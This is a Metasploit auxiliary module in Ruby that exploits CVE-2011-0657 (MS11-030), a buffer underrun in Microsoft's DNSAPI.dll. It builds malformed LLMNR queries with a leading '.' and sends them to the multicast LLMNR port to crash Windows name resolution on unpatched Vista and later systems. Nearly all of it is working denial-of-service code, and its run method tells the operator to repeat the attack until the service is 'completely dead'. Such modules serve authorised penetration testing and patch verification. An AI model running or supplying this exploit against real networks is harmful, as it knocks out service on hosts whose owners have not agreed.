Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize  
super(  
'Name' => 'Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS',  
'Description' => %q{  
This module exploits a buffer underrun vulnerability in Microsoft's DNSAPI.dll  
as distributed with Windows Vista and later without KB2509553. By sending a  
specially crafted LLMNR query, containing a leading '.' character, an attacker  
can trigger stack exhaustion or potentially cause stack memory corruption.  
  
Although this vulnerability may lead to code execution, it has not been proven  
to be possible at the time of this writing.  
  
NOTE: In some circumstances, a '.' may be found before the top of the stack is  
reached. In these cases, this module may not be able to cause a crash.  
},  
'Author' => 'jduck',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-0657' ],  
[ 'OSVDB', '71780' ],  
[ 'MSB', 'MS11-030' ]  
],  
'DisclosureDate' => 'Apr 12 2011')  
  
register_options(  
[  
Opt::RPORT(5355),  
Opt::RHOST('224.0.0.252')  
])  
end  
  
def make_query(str)  
pkt = ""  
  
# id  
pkt << [rand(65535)].pack('n')  
  
# flags  
pkt << [(  
'0' + # qr  
'0000' + # opcode  
'0' + # conflict  
'0' + # truncation  
'0' + # tentative  
'0000' + # zero (reserved)  
'0000' # rcode  
)].pack('B16')  
  
# counts  
pkt << [1,0,0,0].pack('n*')  
  
if str[0,1] == "."  
pkt << [str.length].pack('C')  
end  
pkt << str + "\x00"  
  
# type / class (PTR/IN)  
pkt << [0x0c, 0x01].pack('n*')  
  
pkt  
end  
  
  
def run  
connect_udp  
  
# query  
  
# various compressed queries  
#pkt << "\x03" + ("%d" % 192)  
#pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192"  
#pkt << ("\x01" + '1') * 0x20  
#pkt << "\x01" + '.'  
#pkt << ("\x01\x2e") + "\x01" + "0"  
#pkt << "\x07" + 'in-addr' + "\x04" + 'arpa' + "\x00"  
#pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00"  
#pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00"  
  
pkt = make_query(".1.1.ip6.arpa")  
print_status("Sending Ipv6 LLMNR query to #{rhost}")  
udp_sock.put(pkt)  
  
pkt = make_query(".1.1.in-addr.arpa")  
print_status("Sending Ipv4 LLMNR query to #{rhost}")  
udp_sock.put(pkt)  
  
print_status("Note, in a default configuration, the service will restart automatically twice.")  
print_status("In order to ensure it is completely dead, wait up to 5 minutes and run it again.")  
  
disconnect_udp  
end  
end  
`